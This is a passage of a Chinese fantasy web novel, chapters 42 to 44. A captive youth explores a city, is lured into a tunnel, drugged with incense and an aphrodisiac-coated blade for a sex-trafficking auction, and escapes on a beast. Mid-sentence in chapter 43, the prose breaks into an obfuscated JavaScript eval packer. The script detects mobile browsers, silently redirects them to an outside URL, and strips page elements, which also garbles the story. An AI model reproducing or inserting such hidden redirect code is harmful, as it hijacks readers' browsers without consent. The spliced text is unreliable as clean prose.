他听九十四喊自己的名字,就像听刚学会说话的娃娃管自己叫爹似的,不仅不烦,还听不够。 九十四想忍又忍不住喊他的样儿更是把他哄得找不着北。 阮玉山大手一挥,准备叫人去拿飞票子:“要多少钱?” “自由价更高,”九十四说,“你欠我五十四万金不止。” 阮玉山毫不犹豫:“那六十万的飞票够不够?” 他想了想,又提醒道:“不过你若要去取,今日钱庄恐怕支不出那么多来——到外头花钱,就给飞票吧,他们见了票头,自会收的。” 燕辞洲的票头跟别处不一样,飞票与中原其他地方并不流通。仅用在此地与人交易,由燕辞洲最大最公正的钱庄发行。 钱庄的主人姓易,叫易三老爷。 九十四略一思忖,同阮玉山说:“先不要六十万。” 他算了算自己能用钱的地方,说道:“给我二十文。” 顿了顿,又补充:“阮玉山。” 阮玉山从出生到现在还没碰过那么小的钱币。 42.闲逛 阮玉山给的鞋是真不赖。 九十四走出院子,一径朝外头人声最鼎沸的方向走,一边走,一边琢磨自己脚上的鞋。 他还从没穿过那么舒服的鞋。 以前在饕餮谷,蝣人多是赤足,再或者听话些的,又或愿意给驯监们上供点钱财的,能得一双粗糙扎脚的草鞋穿穿。 破破烂烂的草鞋洗了穿,穿了洗,穿到最后就剩个草垫子也舍不得扔,毕竟草鞋垫子再怎么糙,也比崎岖粗粝的土地走着好受。 今日穿了阮玉山的好鞋好袜,九十四才明白为何人人都想做大老爷。 不过还是比衣棚老板送他的差点。 这身衣裳他不喜欢。 黑色不好。 九十四在饕餮谷十八年,穿够了乌黑的狗皮衣裳。 暗沉沉的颜色看了十八年,他跟百十八养的小乌鸦一样,就喜欢明亮的东西。 易宅太大,光一出院子就有三个门,九十四出了一进又是一进,七拐八绕小半个时辰,听着宅子外街道上的喧嚣声隔着院墙忽远忽近地飘进来,可就是怎么也走不出去。 末了,他只能在心里悄悄承认,路这个东西,自己压根不会看。 刚才只是太想往外跑,所以跟阮玉山犟嘴。 九十四终于是烦了。 一烦,就不知该怎么办。 一不知该怎么办,心里就莫名想去找阮玉山。 阮玉山总是有法子的。 这话在九十四心里冒出来时,他自己先被震慑了一大跳。 还没想明白为什么,忽听到身后传来一阵从容轻缓的脚步声。 九十四没出声,只警惕地扭头去瞧,见一个清俊的白面小生敛着眉眼,身子板正,一言不发地朝自己走来。 那人穿着用度虽不比阮玉山华贵,却也身着上好的罗衣,束一铜冠,瞧着不过十六七岁,因此气度赶阮玉山差了一截,但也比同龄人沉稳不少。 他定睛一看,原来是阮玉山的近侍,方才在四方清正里,随时候在月洞门外替阮玉山传唤和打发宅子里小厮的那个。 这人走到九十四跟前,先端端正正行了个礼,再不紧不慢地低眼道:“老爷命属下传话,请公子出了宅子,只往御华主街和东西边主巷去,东边一街主卖吃食,二街是客栈酒馆,三街是杂货书铺,往下走有学堂;西边一街是钱庄当铺,二街是勾栏戏院和武馆——公子若是感兴趣,须得我陪同前去,三街是赌坊——若公子想去,也得我陪同。” 说完,又朝右做了个请的手势:“若公子找不着出门的方向,便由属下为公子引路。” 九十四凝神望着他思忖片刻,说道:“多谢。” 便随这下属往外走。 走了没一会儿,他还是没忍住开口问:“阮玉山,他怎么不来?” 这下属在易宅听见阮玉山三个字,神色间毫无惊讶之意,只顺顺当当地开口,似是早料到九十四会问这一句:“老爷要事缠身,没空时时陪在公子身边。” ——实际上这话是阮玉山教的。 世间做事的技巧,无非是张弛有度四个字,对付人也是一样,得收放自如。 阮玉山这些天算是看明白了,九十四就是个犟驴,一身反骨。 他越是逼得紧,九十四就越是想要离开。 倘或他时时刻刻都围着这人转,九十四只会把眼睛长到天上,天天想着怎么从他身边逃出去。 再不给人点自由,让九十四尝尝没有他阮玉山的滋味儿,那怎么能让人品出有他在身边的好处来? 因此阮玉山放开了手,铁了心让这个九十四看看外头没有阮玉山的世界是否如对方想象中那样美好。 从结果来看,九十四美不美好不知道,反正阮玉山应该不太美好。 九十四前脚刚走,他就开始操心,想起九十四这人其实根本不认路来了。 能不能走出这宅子先不谈,这岛上还有些地方,九十四去不得。 燕辞洲有着整个娑婆界最大的两个地下黑市。 一个归易三老爷管,除蝣人买卖外,大部分交易都有自己的规矩。 可阮玉山不做的生意,许多人抢破了头也想做,尤其是蝣人买卖,利润油水多得能养活不知多少富贾豪绅。 另一个黑市,不比易家的讲规矩有条理,什么买卖都做,什么货物都有,不仅有整个的蝣人,为了某些特殊客人,分解的肢体交易也不在少数。 九十四这人的脾性,阮玉山了解。 他不知道便罢了,倘或阮玉山告诉他,说燕辞洲有个黑市,你千万去不得,那九十四是千辛万苦翻山越岭累脱半层皮都一定要去看一眼的。 告诉九十四哪些地方不能去,就是告诉九十四哪些地方必须去。 在九十四那里,一个地方能去不能去,全凭自己知不知道。 阮玉山深谙此道。 不过黑市么,既然取这么个名字,位置也不是能随随便便找到的。 阮玉山打发了近侍,只叫对方告诉九十四哪些地方可以去,坚决不透露哪些地方不能去。 九十四跟在近侍后头,眼珠子悄么声儿地来回转。 眼见要走出宅子了,他问:“你叫什么名字?” 前边引路的少年回道:“属下云岫。” “云岫。”九十四不知怎么,想到了林烟,便问,“你认识林烟吗?” 云岫的脚步一顿。 他回头看向九十四,动了动嘴唇,欲言又止,兴许是怕坏了规矩,最后还是一声不吭,只点了点头,继续带九十四出宅子。 走出宅门时云岫往大门口的匾额看了看,九十四便也回头看,这才看见宅子是叫“易宅”。 云岫道:“劳请公子挂心,咱们老爷在外姓易,旁人通常叫他易三老爷。” 这一看也是阮玉山交代的。 至于阮玉山为何姓易,哪里来的旁人叫他,又有几个旁人知道他真实身份,云岫是一个多的字都不肯讲。 九十四睨着他,在心里冷眼。 他不讲,那自己也不讲。 林烟的近况云岫一个字也别想听。 九十四一摆手,又是一个打住的姿势:“你不用跟着我。” 说完便背着手踱步走出宅子。 云岫听话留在原地,瞧着九十四的背影,举手投足,一步一行,怎么看都有几分阮玉山的影子。 就连抬手打住那般无礼的动作,也是跟阮玉山一个模子刻出来的。 九十四自然不晓得这动作是相当无礼的。 故而他一到街上,先踩着阮玉山的靴子舒舒服服把主街走了个通堂,又回过头把街上的小摊小贩卖的新鲜玩意儿挨个看了个够。 摊贩卖的东西他一样也没见过,样样看着都稀奇,每到一处,遇着自己瞧不明白的,就背着手凑到人堆边,安静地看摊上的人挑挑拣拣,仿佛今天才是他第一次出笼,站在街上什么也不干,光听人说话都觉着有趣。 九十四不知道,摊贩是要做生意的。 没有哪家店能容不买东西客人在摊子前边光占位不付钱,一站还站两刻钟,脚都不见挪一下。 他也不知道占着客位大半天最后一样也不买是非常不讨人喜欢的行径。 这些人情世故阮玉山没教过他,因为阮玉山从来不用亲自上街买东西。 大半天逛下来,九十四几乎待遍了主街所有的小摊,可一个货物也没买,一分钱也不掏。 每当他在摊子前边听人说话又或是看人讨价还价站得久了,摊主看不过去,委婉地问他:“这位客官买点什么?” 九十四就毫不客气地抬手:“不用。” 然后继续大摇大摆地去往下一个摊贩处。 抬手驳人是十分无礼的,可阮玉山不需要对任何人见礼。 日子久了,阮玉山便意识不到这点无礼。 当九十四在饕餮谷见到他的第一天,就把他的动作在心里学了去,如今用在他身上时,阮玉山只觉得有趣,全然不曾考虑这动作换个身份换个对象会招致怎样的后果。 以至于大半天下来,九十四路过各处,处处都不待见他。 行至傍晚,九十四一口气过足了眼瘾,东一榔头西一棒子地学了许多中原话,管他红的白的全先记在脑子里,随后才决定去办正事——买书。 买书并非盲目地买,正如阮玉山所说,家里什么书没有?犯不着在外头白费功夫。 九十四要买的书,一定是阮玉山没有,又或是阮玉山不乐意让他看的。 比方说,怎么在阮玉山不知情的情况下解开自己背后的刺青。 虽然当时在饕餮谷,刺青师当着阮玉山的面只说了一个解开刺青的法子,但九十四不信他没别的办法脱身。 归根结底,饕餮谷流传多年的刺青符咒,起重要作用的,是掺在那一碗刺青药水中的那罗迦血液。 而他现在正好有一头那罗迦。 即便他目前还无法让刺青符咒失效,那让那罗迦血液失效,总该能找到点门道。 九十四不知道黑市,不懂得这世上许多事比起看书更需要的是打听,过去十八年他了解外头的人间一半是靠书,一半是靠给他讲解的老头子偶尔同他之间的闲谈,还有就是驯监的嘲笑和辱骂。 他现在不轻易与人闲谈了,席莲生的事教会了他这世上许多人第一眼看起来面善但实则并不可信。 阮玉山则是看着既不面善,实则也不可信。 他走到书摊前, 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九十四瞅了瞅书摊老板,瞧对方一撸袖子,便又抬手道:“不用,我自己来。” 饕餮谷的驯监收拾蝣人是不撸袖子的,九十四目前为止见过唯一一个会撸袖子的人叫阮玉山,此人每次一撸袖子就是要给他干活了。 书摊老板一愣,看见他抬手的动作,更是怒火中烧,心中那份私人恩怨瞬时上升成要为今天所有被此小赖皮赖过的摊主伸冤的慷慨了。 他一个探手,企图把这个脸色苍白,身形瘦削的病秧子拎起来先给一拳头。 哪晓得胳膊还没伸过去,九十四就伶伶俐俐地一个闪身,躲开了他的攻击,并用一种莫名其妙地眼神望着他那只手。 九十四对于别人没头没脑的行为一向很能包容,毕竟自己身边就有个阮玉山总是犯病。 他虽然不解老板这一抓是为何意,但仍耐着性子问:“可有驯兽——不,教兽语的书?” 驯这个字不好,九十四不喜欢,就像他不喜欢阮玉山说他是那罗迦的主人一样,主人这个词,也不好。 老板一掀摊子,操着他的口音骂骂咧咧:“教兽语?我还教脚语呢!” 九十四这回确定了,对方就是要跟他抡拳头。 就在喧哗之际,一柄折扇忽然拦在他和老板之间。 “这位小公子,可是要找盂兰古卷?” “别扇了。” 阮玉山歪在椅子里,用手推开身后小厮为他扇凉的扇子。 九十四出门后他闲得没事,在家训了一下午那罗迦。 燕辞洲包罗世间所有稀奇古怪的东西,有人在宅子里养大象,有人养狼,还有人养蝣人。 养那罗迦的,易宅是第一个。 那罗迦是世间非比寻常的凶兽,轻易不可出现在外人眼前。好在易宅后头整整一个山头都是阮玉山买下来的,宅子里也有暗道直通后山,阮玉山花了两个时辰,教会那罗迦怎么从暗道跑到后山散步,以免对方哪天不小心从正门出去引起轩然大波。 那罗迦的体力强悍非常,他就算再是金刚之身,陪这野兽折腾两个时辰也闹出一身汗来。 正要去沐浴房洗澡,云岫说外头九十四的消息送来了,十万火急地要他过目。 阮玉山便去了书房。 书房上摆着一沓速描的画纸。 他唤了个小厮进来扇凉,一边扇风,一边看画。 第一张是九十四在大街正中央背着手走路。 阮玉山看过,便拿笔在纸上给自己写批注:下次提醒他,走路不可走中间,以免被撞。 第二张是九十四站在卖鸟的小摊前,跟笼子里的鹦鹉面面相觑。 阮玉山又批注:择日教他认鸟。 写完这句,他不知想到了什么,自顾自低头笑了一下。 第三张,是九十四站在卖首饰的小摊前看姑娘们挑选簪钗。 阮玉山看着九十四披散的卷发,又写:回来教他束发。 第四张,是九十四弯腰扎进人堆里看街边俩老头下象棋。 阮玉山目光一凛,注意到速描的人特地多画了几个围在九十四身边的人。 那几个人站在离九十四不远不近的距离,看似在闲逛,实则目光齐刷刷聚在九十四身上。 兴许描画的人早就注意到这一点,阮玉山往前翻,果然发现前两张画里那几个人就有了模糊的定位和轮廓,一直到第四张,为他描画的眼线确认那些来路不明的人在跟踪九十四,才把他们的样貌和眼神画了下来,叫同伴快马加鞭送回宅子里。 画还没看完,云岫带着新消息来到门外。 “老爷,御华主街突发暴乱,阿四公子不见了。” 43.眩晕 “不见了?” 阮玉山看画时扬起的唇角还没来得及放下。 他胳膊肘靠在圈椅扶手上方,轻轻放下画纸,慢条斯理地抬起眼,盯着云岫,眼中却已有了几分审问的意思,因此嘴角的笑也带上了一丝寒意。 阮玉山的语气听着平缓,只是一字字像千钧顶似的往人头上压:“他是当着你们的面儿上天了,还是打个地洞跑了?又或是从燕辞洲凭空蒸发了?” 屋子里刹时寂静。 画纸哗的往云岫面前撒去,带着阮玉山不怒自威的质问:“御华大街四级探子三十六人,看不住一个他,拿回来报给我的消息就是‘不见了’?” 云岫蓦地跪下,抱拳道:“是公子他……自己离开了。” 房中一应小厮跟着跪下,不敢抬头。 阮玉山眼角微微一搐,转动起右手的扳指,脸上笑意已悄无声息地褪去:“往哪边跑了?” 云岫喉结滑动了一下,斟酌道:“探子的消息。他们发现公子不在的时候,已找不到他离开的痕迹了。当时所有三阶玄者,凡是能探查到的都被盯着,公子不存在被挟持的可能,除非……当场有我们探不出的三阶以上的玄者。” “即便是三阶以上,也掳不走他。”阮玉山的指尖敲了敲手上的玉扳指,瞥了云岫一眼,“他不高兴你们跟着。” 云岫从抱住的拳头后方向上看了他一眼,没吭声。 那是不高兴他们? 那分明是不高兴阮玉山。 阮玉山明白这回是九十四自己跑的,便也没对他们多加责怪,只当九十四摆脱了自己的眼线,玩够了就会回来。 不过还有个问题。 “暴乱怎么来的?”他问。 ——对待九十四,并非人人都是阮玉山。 可偏偏九十四对人的认知几乎全部来自阮玉山。 当那群假意闲逛实则围堵的人在御华大街如雨后春笋般冒出来,并将九十四悄无声息隔绝在人群外时,九十四敏锐地察觉到了异常。 他在听到破空之声的一瞬间转头,只见一把大刀从头顶直朝他面门劈下,同时传到他耳朵里的还有一声粗鲁的暴喝。 “什么畜生也敢上街来了?今儿爷们儿就把这只蝣人剁了拿回去下酒!” 九十四眉头一皱,先推开用扇子替他解围的公子,再把脚尖一转,侧身躲开,还没来得及看清楚对面那人长什么模样,只管踢过去,把那人踹飞三丈远。 对方当即呕了血,又见人群中骤然窜出几个一看便是同伙的抽刀大汉,尽皆横眉怒目,手中利器竟见三尺来长,寒光烈烈,刀尖直指着九十四从四面八方刺来。 九十四先照着记忆中阮玉山那些花活,一个弯腰从下方绕过离他最近的一把长刀,随后直起身,抬起胳膊利落屈肘,给了那人肋间狠狠一个肘击,同时左脚稳稳站在地面,扬起右腿,先将面前另一个持刀之人侧踢到一边,又眼疾手快扭过腰,把腿一转,尥蹶子似的将打算从身后偷袭他的一人踹开。 眨眼的功夫,这一下便把四个魁梧大汉打得满地找牙,口吐鲜血。 正在九十四以一敌十的当儿,从最外围又挤进一批粗布麻衣的男人,还有几个直接从街边二层阁楼跳下来的。 瞧这些人模样倒是不比先前那堆壮实,统统是扔在大街上遇见十次也记不住的长相,个个外表斯斯文文,像是书生一般,目光却都是一等一的凶狠,手里还莫名其妙攥着些攥着纸笔。 九十四原以为这是上一批人的帮手,正打算把这些人看个清楚再挨个收拾一遍,谁知他还没来得及清点人数,就见这后一波从人堆里挤进来的书生纷纷在腰间抽出匕首或是暗器,暴喝着朝那堆威猛大汉冲去,地痞流氓似的跟第一波人打了起来。 纠缠间九十四在半空抓到几张从那些书生手中飞落的画纸,展开一看,画的正是这条街的街景。 在画面中间的主体…… 好像还是他? 九十四眉毛拧起来。 这些人画他做什么? 还那么多个人一起画? 他顺势又在半空抓了几张其他的画纸,挨个展开查看,无一不是他:有的是在胭脂水粉摊子前,有的是在蜜饯果子摊子前,还有张画到一半的,正是方才在书摊面前跟书摊老板斗嘴的他。 九十四几乎在一瞬间想到了阮玉山。 他现在是真想两拨人都抓起来各打一顿。 九十四低着眼睛,沉默地站了片刻。 然后开始面无表情地撸袖子。 这下他知道刚才书摊老板是想对他做什么了。 他这会儿也要抓几个人来揍揍! 就在此时,九十四察觉不到的第三拨人出现了。 他们既不彪悍,也不做书生打扮,只是平头老百姓的模样,高矮胖瘦样样都有,人数远比前两拨人更多,像是特地等到蛰伏在九十四周围负责保护九十四的人出现后再露面。 这堆人一出来,不打架也不吆喝,仿佛只起个人数上的作用,先挨个把看热闹的小摊小贩的摊子掀了,待商贩们纷纷涌出来要找个说法时,再一股脑钻进正在打架的两拨人里,因此便引得许多商贩也加入进来。 于是正在混战的人群中,持刀大汉、执笔书生、掀摊混混和追逐的商贩四堆人交织在一起,竟不知不觉把九十四同阮玉山的人远远地隔开了。 阮玉山的眼线既要保护九十四,又要盯着九十四,奈何一心无法二用,持刀者中修为在三阶的玄者还不在少数,一个不留神,便见不着九十四了。 “现在想来,那第三批人,应该是故意为了引我们的人出来,确保暗处没人再盯着公子,趁机制造混乱。”云岫低头,跪着跟阮玉山解释道,“下属们没留心,见第一波人来势汹汹,便一股脑全出来了。如此,才使公子失踪了。” 而失踪人口九十四,此时刚到了一处富丽堂皇的所在。 他确实是不大高兴阮玉山暗里打发人监视他的行径,不过也没到要一走了之的地步。 九十四想得很清楚,他如今初获自由——虽然这自由仍是在一定的管制之下,但到底他目前所有的认知都不够完全。 他想要救自己的族人,但自己只剩两年可活。 这两年之间他不可能像个没头苍蝇一样在世间乱转,否则兴许到死都摸不到关于解开蝣人诅咒的门槛。 阮玉山当下来看,是他能接触到的拥有消息渠道最多最快的人。 而且不管这个人最初买他的目的是什么,至少如今并不想杀他,更不讨厌,甚至对他还算不错,所以他已不急着跑了。 外头的世界人人皆不可信,九十四不是为了振臂高呼自由就不顾一切让自己置身危险的糊涂蛋。 当御华大街发生四方混战时,那把替他解围的折扇再次伸到了他面前。 “此地不宜久留,跟我走。” 九十四转头看去,发现此人一身华衣,眉目端正面容清秀,看起来很像个良善之辈。 可良善之辈也不是一定可信,如若九十四是在进目连村之前遇见这档子事儿,指定二话不说就跟人走了。 今非昔比。 前方打架的人群里至少有两拨人在盯着他,只要他从人堆里跑出去,走不了多远就会被再次盯上。 九十四没急着走,而是问:“怎么走?” 对方冲他挤挤眼,指了指他们身后的铺子。 这倒是个去处。 三两步过去,只需一个眨眼便能没影儿。 对方见他盯着铺面出神,便知他不抗拒,一把将他拉走:“先脱身再说!” 九十四进了铺子,便听那人道:“我叫齐且柔。” 九十四不说话。 他又没有问齐且柔的名字。 也没打算问。 果不其然,下一瞬,齐且柔道:“你叫什么?” 九十四在心里叹了口气。 “易四。”他想也没想,不大乐意地闷着声儿脱口道。 倘或直接说九十四,那太奇怪,也会引起对方诸多猜疑,相当于直接承认自己是饕餮谷的蝣人了。 他现在不在村子里,也不是那个别人一问他就说自己是蝣人的九十四了。 蝣人的身份并不让他感到屈辱,只是外头未知的风险太多,眼前的不快能用拳头巴掌解决,长久的危机却容易蛰伏在无声的未来。 经历了一个席莲生,九十四也学会不再像个愣头青似的处处锋芒毕露。 说完了随口编的名字,九十四又在心里不得劲。 他怎么就让自己莫名其妙跟着阮玉山姓了? 诚然眼下他了解到的中原姓氏不多,可他就不能叫林四,云四,席四,甚至齐四吗?怎么一来就姓易了? 奈何话已出口,也总不能说自己突然记错了姓,容我再修改一下。 他在心里因为名字闹别扭,便更不待见这个非要问他姓名的齐且柔,进了铺子正准备随便寻个窗户或是后门溜之大吉,就听对方问:“方才我见你要买书,可是要买盂兰古卷相关?” 九十四追寻出口的目光停下了:“盂兰古卷?” 齐且柔露出一个带有歉意的笑:“门外我无意听你说要卖修习兽语的书,这世间能包罗所有奇珍异兽相关习性的书,恐怕最全的,便是盂兰古卷了——哪怕是最罕见的凶兽那罗迦,古卷中对其也有非常详细的记载。” 九十四敏锐地捕捉到了那罗迦三个字。 “哪里有卖?”他问。 齐且柔挤眼一笑:“同我来。” “你有没有?”九十四原地不动,“若是没有,我同你去什么?” 齐且柔先是一愣,随即笑道:“我既叫你同我来,必定是有的。” 九十四问:“多少钱?” 齐且柔:“不要钱。” 九十四一挥手:“我不去。” 这个齐且柔一来就抛出那罗迦本就有刻意引诱之嫌——只要他被人怀疑是蝣人,那势必身上就会有饕餮谷的刺青,世间许多人都知道,蝣人的刺青里有那罗迦的血液,会对那罗迦感兴趣也无可厚非。 饕餮谷的驯监尚且要想方设法从他们身上榨干油水,阮玉山对他好的条件也是把他留在身边,这世上除了自己的族人之间,就没有不需要付出代价的好事。 齐且柔笑道:“你误会我了,我此举也并非是想白做好事。倘或你随我去,见了我的书,觉得还算满意,我也是有事相求的。” 九十四问:“何事?” “我只同你打听,不需你劳力。”齐且柔向铺子后院地的方向做了个邀请的姿势,“你待看了,确定要我的书,我再询问。” 话已至此,九十四便不啰嗦,同他去了。 举凡出门在外,事事都有风险,就算在笼子里,还得每日担心受怕被屠宰,总不能因为没了阮玉山,便做什么都束手束脚。 九十四想,总有一天,他是要离开阮玉山独自生活的吧? 这铺面在外看只是一家普通的食肆,岂知后院却大有玄机。 院子中那个齐胸高的石墨从底部打开,便是一个幽深的暗道。 九十四站在暗道口前回头看一眼食肆,后厨大门紧闭,不知在烹饪什么东西,香气好似从门缝中都止不住地往外冒。 他问齐且柔:“这是你的店?” 齐且柔没有否认:“同朋友合伙做些小本生意。” 说完,便带头先弯腰进了暗道。 进入暗道,没走几步,齐且柔先掏出火折子,一路行走,点燃了挂壁的油灯。 “盂兰古卷这东西,传说是天字府才有的孤品,世间独一份,天子珍藏。” 齐且柔走在九十四前头,声音轻轻柔柔地传到后方。 “先太上皇仁厚,认为古卷书籍一类,应当为民所用,百姓共赏,因此曾叫不少校书郎进入天子密阁,将卷中一些不甚紧要的部分分别抄录下来,再拿去统一印刷,分册散布到民间,供人品阅。 “不过天子慎独,为防招进去的校书郎窥破卷中机密,每一位进去的人,只能被允许看到卷中指定的某一小段,摘抄完后,再拿去与旁人合册印刷。” 这暗道越走越深,越走越窄,齐且柔一直在不停地点灯,这些灯与易宅中所用不同,兴许是油不一样的缘故,九十四总是闻到一股异香。 墙壁的火光跃动着,使九十四产生似有若无的眩晕,这种眩晕的感觉让他开始不断地想起阮玉山。 “这些校书郎中,又有不少想趁此事中饱私囊的,将古卷抄录完毕,与同门核对完,回到家中凭借自己的记忆,私自将那一部分古卷复刻下来,拿去倒卖。以至于流落到民间的古卷版本庞杂,多年下来,许多都难辨真假。其实,真正的古卷,并不是书。”齐且柔停下了脚,回过头,似乎在确认九十四有没有跟上。 他忽地往后一瞥九十四,瞧见九十四踩着他影子在明亮的烛火下出神的模样,心魂一振。 甬道里安静了,九十四迟缓地将目光移到齐且柔脸上,疑惑地挑了挑眉,似在质问对方怎么不说了。 齐且柔后知后觉自己失态,低头一笑:“其实方才我就想说,公子的容貌……实在好得过于摄人。简直有些出格了。” 他语气有些带着些嗔怪:“真叫人难办。” 九十四听不出他这是夸还是怪。 齐且柔伸手在自己的袖袋中摸索,随后拿出一个锦帕,摊开来,里面包裹着一个波如蝉翼的透明袋子,像是鱼肠的材质,又或是别的什么,袋子里包着油亮亮的透明液体。 接着他拿出一把短短的匕首,抽出刀鞘时九十四慢慢往后退了一步。 齐且柔拿刀割破那个鱼肠小袋,那些油亮亮的东西便沾到刀刃上,他拿刀反复在流淌着油液的锦帕上擦拭,直到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352771|162328||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一整个刀身都裹满了油液。 一种浓艳的香气千丝万缕地钻入九十四的鼻腔,他愈发难以控制地想到阮玉山。 并且想得越来越细节,越来越贴切。 阮玉山那双似笑非笑的丹凤眼,身上沉静的熏香,还有他在马背上靠着安稳睡去的胸口。 九十四察觉到了一点不对劲。 可是很快,那点惊觉不可控制在他脑海中一闪而过便消弭了。 齐且柔抬头,温和对他解释道:“你别误会,这只是普通的刀油。我这刀是铁刀,一朝不上油,便要生锈了。” 九十四不愿再往前走,他扶着墙壁,沉声道:“书在哪?” 齐且柔眼中划过一丝锐光,不再引诱他前进,反而自己一个转身,加快了步子往前道:“就要到了。” “你说你叫易四。玲珑钱庄的易三老爷,跟你是什么关系?”齐且柔的语调变得轻快了,他似乎还有好多话想说,“难道他也是蝣人?怪不得,我说他怎么从来不露面。” 说到这里,他忽然咧嘴笑了:“若真是蝣人,那可就有意思了——偌大一个燕辞洲的命脉,多年来掌握在一个蝣人手上!” 齐且柔啪地按下墙壁上一出凸起的机关,只听九十四后方一阵巨响,骤然落下一块黑漆漆的巨石,将他后退的路完全挡死。 九十四下意识便用尽全力去打。 以往集中玄气便能震碎山石的手,如今竟然使不出力来。 下一刻,听得那块巨石中哗哗作响,九十四眉头一皱,细看才发现石头上突然多了许多细小的孔洞。 他心道不好,来不及躲开,离自己眼睛最近的一个孔洞中蓦地飞出一根利箭! 九十四空手攥住。 就在利剑离自己不过毫厘之时。 他飞快往齐且柔的方向奔去,结果当真不出所料,几乎是前后脚的间隙,整个石块毫无预兆地万箭齐发,暗道中响起接连不断的尖锐气鸣,淬满了不知名药水的箭头统统朝他飞来。 而齐且柔则在电光石火间打开了暗道尽头的石门,飞快地朝门中亮室跑去。 倘或九十四正中下怀,同他先后进入这间亮室,那么九十四就会在灯火通明的石室中,面对自己被两侧数十个三阶玄道高手用弓箭齐指的局面束手就擒。 接着被他用刀慢慢划破身体,在刀上媚药的作用下催动本能,迷幻到不能自已时,被推到再前方的交易场,让两个时辰后光顾来此的客人们竞价买下,共度春宵。 可惜齐且柔低估了九十四的耐力。 这几天别的不说,吃喝方面阮玉山是把人喂得很不错的。 九十四好养活,稀粥白菜都能吃得高高兴兴,遑论是阮玉山变着花样亲手做的东西。 吃得好了,体力就好。 只是一个呼吸的时间,齐且柔也不知道,自己怎么就在石室里,当着所有人的面,被九十四挟持住了脖子。 他都没来得及看清九十四是怎么闪到自己身后的。 “你知道那罗迦。”整个甬道燃烧的专为对付蝣人的软骨散都没能让九十四完全失去力气,甚至还让九十四有功夫跟齐且柔开开玩笑,“我追过它,跑得比它还快。” 九十四附在齐且柔耳后笑了一声,语气带着几分虚弱的味道。 他抬头四顾,发现这间石室除了两侧供那些玄者暗杀时藏身的隔间,还有许多的刀具,和一个足够让成年男子躺下的石床。 那些刀具有的挂在墙壁,有的就吊在石床上方。 齐且柔说:“你快撑不住了。” 他话音未落,便被九十四用五指收紧了喉咙。 九十四中气虽然虚了,但语调依旧凛冽:“我撑不撑得住,轮得到你说话?!” 齐且柔眼藏凶光,悄无声息从自己宽大的袖子中掏出那柄用媚药反复擦拭过的匕首。 “放了我吧……”他恢复了那种轻柔的语气,“我真的有盂兰古卷……上面还有关于解除蝣人诅咒的……” 九十四微微偏头。 齐且柔猝不及防将匕首刺入九十四的大腿! 可惜了。 没刺进去。 九十四本就对他的话不再抱有一丝一毫的信任,即便闻了一路的软骨散,生死关头,蝣人的感官只会更加敏锐,齐且柔手上的动作九十四即便看不到,也能感受到。 只是受限于两个人的体位,九十四只能往旁边侧身,刀身虽未刺入身体,却还是在他腿上狠狠划破了一条极深的口子。 那道正对着甬道还没开启的石门外传来哗啦啦的撞破声。 九十四眼角涌出一股杀意,五指就快抠破齐且柔的喉咙,他沙哑道:“开门!” 齐且柔死咬着牙。 “想拖到我撑不住?” 九十四渐渐将体内所能聚集不多的玄气凝到指尖:“那看看,是你的药快,还是我快。” 整个喉管险些要和脖子剥离开来,齐且柔目眦欲裂,脑子发白,无意识地发出“嗬嗬”的嘶哑声。 再不自救,当真要死这个蝣人手上了。 他艰难地摸到兵器架子后的机关,费力扭动。 同甬道面对面的石门开了。 那罗迦双瞳直竖,脊背的兽毛立了起来,狰狞着面目一步一步走进石门。 上古凶兽天然的杀气使在场的每一个人都屏住了呼吸。 九十四拖着齐且柔,缓步行至那罗迦身边。 他看见石门外的场景:一个巨大的地下阁楼,有两层看台,桌椅栏杆无不是用金银打造,石门出去便是一个巨大的戏台,台子上放着一张铺了绸缎的木床——不出所料,倘或他今天中招,晚上就要躺在这张木床上供人观赏。 地下阁楼的窗子被破了一道。 他抬起另一只手,扶住齐且柔的下颌。 齐且柔似乎察觉到了他的想法,当即道:“你不能……杀我。” 九十四仍旧用双手捧住他的脑袋,准备把他的脖子扭下来。 “你放了我!”齐且柔把手中匕首扔下,“我回去……回去给你拿古卷残石,帮你解开诅咒!” 九十四忽然喘了口气。 他撑不住了。 一点也撑不住了。 齐且柔用的药太猛太烈,绝非普通人能承受的。 九十四撑到现在,到极限了。 连齐且柔说的最后的话他都听不清。 他一掌将齐且柔推入石室,翻身上了那罗迦的背。 身后立时传来无数利箭穿梭的声音。 那罗迦跳出来时破开的那道窗户。 深秋的寒风迎面刮在九十四的脸上,在他耳边呼啸。 连带着他一头卷曲的长发也如旌旗般在风中飘荡。 九十四浑身滚烫,脑子里只有一个声音发疯似的叫嚣。 阮玉山。 要去找阮玉山。 44.药效 九十四想找阮玉山,没有别的目的。 他找阮玉山,就只是想看阮玉山。 好像只要见到阮玉山一眼,所有危机都能尘埃落定,即便自己眼下安危未知,只要阮玉山守在旁边,都无甚可惧了。 他也不明白这是为什么。 九十四驰骋在那罗迦的背上,呼啸的风声里他用仅存的一点意识给了自己一个答案:一定是迷药的作用。 他曾见过被喂了药的自己的族人,他们在药物的作用下癫狂地沉沦,分明是因驯监的强迫而被迫繁衍,却由于药物显得理智全无,成为了只会服从欲/望和本能的动物。 那罗迦像一道迅猛的疾风,在最短的时间里避开了整个燕辞洲遍布的人流,从来时的荒僻小道一径奔回易宅后山,再从暗道将九十四送回了四方清正。 这时的阮玉山刚听完云岫的禀报,本拟着先等一个时辰,如若日落还不见九十四归家,便出去寻人。 他的骨珠感知到九十四在自己西南方向的某个位置,并且性命无虞,原打算就当作九十四故意甩开了自己的人到别处散心,可到底还是坐不住。 毕竟根据探子的消息,宅子外头至少还有一波人盯着九十四。 燕辞洲可比目连村大得多,阮玉山在目连村感知到九十四的方位,基本可以毫不费力地把人揪出来,可是到了燕辞洲,方位也只是一个方位,即便是刺青血契,也无法指引他准确的找到九十四身在何处。 他在书房里背着手踱步了两刻钟,最终决定带着那罗迦出去寻人。 岂知一到院子,便见九十四刚从那罗迦背上跌跌撞撞地下来。 西斜的落日洒满这个修葺工整的北方庭院,将右侧池塘的池水照得金灿灿的一片。 